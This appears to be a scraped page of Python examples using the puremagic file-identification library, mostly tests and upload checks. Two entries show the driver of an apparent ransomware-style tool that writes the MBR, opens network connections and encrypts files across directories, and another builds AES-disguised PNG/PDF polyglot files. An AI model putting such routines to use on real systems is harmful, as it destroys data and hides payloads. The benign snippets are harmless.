def test_archive(self):
     """Test common compressed archive formats       |"""
     for item in os.listdir(ARCHIVE_DIR):
         ext = puremagic.from_file(os.path.join(ARCHIVE_DIR, item))
         self.assertTrue(item.endswith(ext),
                         "Expected .{0}, got {1}".format(item.split(".")[1],
                                                         ext))
Beispiel #2
0
def get_file_type_match(filename):
    name, extension = os.path.splitext(
        filename)  # Check visible file extension
    binary_extension = puremagic.from_file(
        filename)  # Check file signature extension

    return extension, binary_extension
Beispiel #3
0
def pngToPdf(src, tar, out, key):
    #order == 1: img is source else pdf is source
    order = 1
    if from_file(src, mime=True).split("/")[1] == "png":
        with open(src, "r") as f:
            img = f.read()
        with open(tar, "r") as f:
            pdf = f.read()
    else:
        order = 0
        with open(tar, "r") as f:
            img = f.read()
        with open(src, "r") as f:
            pdf = f.read()

    img += "\x00" * (16 - len(img) % 16) * (len(img) % 16 != 0)
    aes = AES.new(key, AES.MODE_ECB)
    iv = xor(aes.decrypt(img[:16]), "%PDF-\x00obj\nstream")
    print "IV: " + iv.encode("hex")

    img = decrypt(img, iv, key)
    img += "\x00endstream\nendobj\n" + pdf
    img += "\x00" * (16 - len(img) % 16) * (len(img) % 16 != 0)
    with open(out, "w") as f:
        if order:
            f.write(encrypt(img, iv, key))
        else:
            print "[+] encrypt \"{}\" to get the target file".format(out)
            f.write(img)
 def test_audio(self):
     """Test common audio formats                    |"""
     for item in os.listdir(AUDIO_DIR):
         ext = puremagic.from_file(os.path.join(AUDIO_DIR, item))
         self.assertTrue(item.endswith(ext),
                         "Expected .{0}, got {1}".format(item.split(".")[1],
                                                         ext))
 def test_file(self):
     """File identification                          |"""
     mp4file = NamedTemporaryFile(delete=False)
     mp4file.write(self.mp4magic)
     mp4file.close()
     ext = puremagic.from_file(mp4file.name)
     os.unlink(mp4file.name)
     self.assertEqual(self.expect_ext, ext)
 def test_file(self):
     """File identification                          |"""
     mp4file = NamedTemporaryFile(delete=False)
     mp4file.write(self.mp4magic)
     mp4file.close()
     ext = puremagic.from_file(mp4file.name)
     os.unlink(mp4file.name)
     self.assertEqual(self.expect_ext, ext)
Beispiel #7
0
def run():

    if win_write_mbr_file <> '':
        write_mbr_winapi(win_write_mbr_file)

    if mbr_command <> '':
        run_cmd(mbr_command)

    if pre_enc_dir <> '':
        get_filenames(pre_enc_dir)

    if pre_netconn <> '':
        make_network_connection(pre_netconn)

    if full_command <> '':
        run_cmd(full_command)

    else:

        for path in paths:

            print 'Iterating files in ' + path

            files = get_filenames(path)

            for f in files:

                fname, fext = os.path.splitext(f)

                if len(exts) == 0 or fext in exts:

                    if skip_hidden and is_hidden(f):
                        print 'Skipping hidden file ' + f
                        continue

                    ok = True

                    if (do_magic):

                        try:
                            mext = puremagic.from_file(f)

                            if fext.lower() not in mext:
                                print 'Improper identification - claimed ' + fext + ', ident as ' + mext + ', skipping...'
                                ok = False

                        except puremagic.PureError:
                            print 'Couldn\'t identify file, encrypting anyway...'
                            ok = True

                    if ok:
                        success = encrypt_file(f)

    if post_netconn <> '':
        make_network_connection(post_netconn)
 def test_images(self):
     """Test common image formats                    |"""
     for item in os.listdir(IMAGE_DIR):
         try:
             ext = puremagic.from_file(os.path.join(IMAGE_DIR, item))
         except puremagic.PureError:
             raise AssertionError("Could not identify file"
                                  " '{0}'".format(item))
         self.assertTrue(item.endswith(ext),
                         "Expected .{0}, got {1}".format(item.split(".")[1],
                                                         ext))
Beispiel #9
0
 def from_file(self, file_path, name='DEAD'):
     with open(file_path, 'r') as source:
         try:
             if puremagic.from_file(file_path) != '.dot':
                 raise Exception('Wrong file format')
                 return None
         except:
             raise Exception('Wrong file format')
             return None
         data = source.read()
         return self(data, name)
 def test_images(self):
     """Test common image formats                    |"""
     for item in os.listdir(IMAGE_DIR):
         try:
             ext = puremagic.from_file(os.path.join(IMAGE_DIR, item))
         except puremagic.PureError:
             raise AssertionError("Could not identify file"
                                  " '{0}'".format(item))
         self.assertTrue(
             item.endswith(ext),
             "Expected .{0}, got {1}".format(item.split(".")[1], ext))
Beispiel #11
0
 def _content_type(self, filepath: str, content_type: Optional[str]) -> str:
     if content_type is None:
         try:
             guessed_content_type = puremagic.from_file(filepath, True)
         except puremagic.main.PureError as e:
             print(
                 f"{e}, using the default content type instead: {self._default_content_type}"
             )
             guessed_content_type = self._default_content_type
         return guessed_content_type
     else:
         return content_type
Beispiel #12
0
def identify_files(path):
    det_files = []
    types = ['.pdf', '.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx',
             'xlsx', '.wb3', 'docx', 'pptx']
    for root, dirs, files in os.walk(path):
        for file in files:
            try:
                filetype = puremagic.from_file(os.path.join(root, file))
                if filetype in types:
                    det_files.append(os.path.join(root, file))
            except:
                pass
    return det_files
Beispiel #13
0
def checkFile(f):
    fileTypes = ["png", "pdf"]

    try:
        open(f, "r")
    except Exception as e:
        raise argparse.ArgumentTypeError("can't open {}: {}".format(f, e[1]))

    if from_file(f, mime=True).split("/")[1] not in fileTypes:
        raise argparse.ArgumentTypeError("the file must be either a {}".format(
            "or a".join(fileTypes)))

    return f
Beispiel #14
0
    def from_file(self, file_path):
        """Read the content of filename and creates a Graph instance
        using it as source.

        Arguments:
        file_path -- Path to the file containing the graph definition"""
        with open(file_path, 'r') as source:
            try:
                if puremagic.from_file(file_path) != '.dot':
                    raise Exception('Wrong file format')
                    return None
            except:
                raise Exception('Wrong file format')
                return None
            data = source.read()
            return self(data)
Beispiel #15
0
def run():

    if win_write_mbr_file <> '':
        write_mbr_winapi(win_write_mbr_file)

    ## TODO: other platforms need to pass in /dev/sdX (Linux) or /dev/diskX (Mac)

    if pre_netconn <> '':
        make_network_connection(pre_netconn)

    for path in paths:

        print 'Iterating files in ' + path

        files = get_filenames(path)

        for f in files:

            fname, fext = os.path.splitext(f)

            if len(exts) == 0 or fext in exts:

                if skip_hidden and is_hidden(f):
                    print 'Skipping hidden file ' + f
                    continue

                ok = True

                if (do_magic):

                    try:
                        mext = puremagic.from_file(f)

                        if fext.lower() not in mext:
                            print 'Improper identification - claimed ' + fext + ', ident as ' + mext + ', skipping...'
                            ok = False

                    except puremagic.PureError:
                        print 'Couldn\'t identify file, encrypting anyway...'
                        ok = True

                if ok:
                    success = encrypt_file(f)

    if post_netconn <> '':
        make_network_connection(post_netconn)
Beispiel #16
0
def upload_file():
    """This function allows file uploading while checking if the provided
    file is valid and creating necessary folders if not present"""
    payload = {}
    dot = ""
    sessions.close_session()
    sessions.new_session()
    if not os.path.exists(config.UPLOAD_FOLDER):
        os.makedirs(config.UPLOAD_FOLDER)
    if not os.path.exists(os.path.dirname(session['output'])):
        os.makedirs(os.path.dirname(session['output']))
    if request.method == 'POST':
        # check if the post request has the file part
        if 'file' not in request.files:
            return {"text": 'No file part'}, 400
        file = request.files['file']
        # if user does not select file, browser also
        # submit an empty part without filename
        if file.filename == '':
            return {"text": 'No selected file'}, 400
        if file:
            file_path = session['model']
            file.save(file_path)
            if not puremagic.from_file(file_path) in ALLOWED_EXTENSIONS:
                os.remove(file_path)
                return {"text": "Incompatible file format"}, 400
            if not is_fts(file_path):
                os.remove(file_path)
                return {
                    "text": "The given file is not a FTS or contains errors"
                }, 400
            with open(file_path, 'r') as source:
                dot = source.read()
            graph = graphviz.Graph(dot)
            payload['mts'] = graph.get_mts()
            graph.draw_graph(session['graph'])
            payload['graph'] = dot
            payload['edges'], payload['nodes'] = graph.get_graph_number()
            payload['text'] = "Model loaded"
            return payload, 200
        else:
            return {"text": "Incompatible file format"}, 400
    return {"text": "Invalid request"}, 400
Beispiel #17
0
    def _identify_artifact(self, file_) -> Artifact:
        def _type_from_builder(builder) -> ArtifactType:
            name = builder.get_name(self._env)
            return _ARTIFACT_TYPE_FROM_BUILDER.get(name, ArtifactType.UNKNOWN)

        type_ = ArtifactType.UNKNOWN
        file_str = str(file_)
        node = self._env.File(file_)
        builder = node.get_builder()
        if builder is not None:
            type_ = _type_from_builder(builder)

        if type_ == ArtifactType.UNKNOWN:
            try:
                magic_out = puremagic.from_file(file_str)
                system = platform.system()
                for search_type in _PLATFORM_LIBMAGIC_BINARY_IDENTITIES.get(
                        system):
                    if search_type[1] in magic_out:
                        type_ = search_type[0]
                        break

                if type_ == ArtifactType.UNKNOWN and any(
                        s in magic_out for s in _TEXT_IDENTIFIERS):
                    type_ = ArtifactType.TEXT
            except (puremagic.main.PureError, ValueError):
                # exception means that puremagic failed to id the filetype. We'll
                # fallback to file extension in this case.
                pass
            if type_ == ArtifactType.UNKNOWN:
                type_ = _EXTENSION_FALLBACK.get(
                    pathlib.Path(file_str).suffix, ArtifactType.UNKNOWN)

        out = Artifact({"name": file_, "type": type_, "size": node.get_size()})

        if type_ in ARTIFACT_BIN_TYPES:
            bin_metrics = _run_bloaty(self._bloaty_bin, node)
            if bin_metrics is not None:
                out["bin_metrics"] = bin_metrics

        return out
Beispiel #18
0
 def group_test(self, directory):
     failures = []
     ext_failures = []
     for item in os.listdir(directory):
         try:
             ext = puremagic.from_file(os.path.join(directory, item))
         except puremagic.PureError:
             failures.append(item)
         else:
             if not item.endswith(ext):
                 ext_failures.append((item, ext))
     if failures:
         raise AssertionError(
             "The following items could not be identified from the {} folder: {}"
             .format(directory, ", ".join(failures)))
     if ext_failures:
         raise AssertionError(
             "The following files did not have the expected extensions: {}".
             format(", ".join([
                 '"{}" expected "{}"'.format(item, ext)
                 for item, ext in ext_failures
             ])))
    logger.error("Number of arguments is incorrect. 😭")
    input("\nPress Enter to exit...\n\n")
    sys.exit(1)
input_file: Path = Path(args[1]).resolve()

# Check if input file is a file
if input_file.is_file():
    logger.info("Input file found! 👍")
else:
    logger.error(f"Input file is not a file or doesn't exist. 😭\n{input_file}")
    input("\nPress Enter to exit...\n\n")
    sys.exit(1)

# Check if input file is a video
try:
    input_file_is_video = "video" in puremagic.from_file(str(input_file),
                                                         mime=True)
    if not input_file_is_video:
        logger.warning(
            "Input file may not be a video, other errors are possible.")
except puremagic.main.PureError:
    logger.warning(
        "Couldn't check input file MIME type, other errors are possible.")

# Generate output file path and check if it exists
output_file: Path = input_file.parent / (input_file.stem + "_" +
                                         video_codec.upper() + ".mov")
if output_file.is_file():
    logger.error(
        "Output file exists! Please move it, delete it, or use another video codec. 😭"
    )
    input("\nPress Enter to exit...\n\n")
 def test_mime(self):
     """Identify mime type                           |"""
     self.assertEqual(puremagic.from_file(TGA_FILE, True), "image/tga")
 def test_office(self):
     """Test common office document formats          |"""
     # Office files have very similar magic numbers, and may overlap
     for item in os.listdir(OFFICE_DIR):
         puremagic.from_file(os.path.join(OFFICE_DIR, item))
Beispiel #22
0
def _content_type(filepath: str, content_type: Optional[str]) -> str:
    if content_type is None:
        return puremagic.from_file(filepath, True)
    else:
        return content_type
 def test_office(self):
     """Test common office document formats          |"""
     # Office files have very similar magic numbers, and may overlap
     for item in os.listdir(OFFICE_DIR):
         puremagic.from_file(os.path.join(OFFICE_DIR, item))
 def test_mime(self):
     """Identify mime type                           |"""
     self.assertEqual(puremagic.from_file(TGA_FILE, True), "image/tga")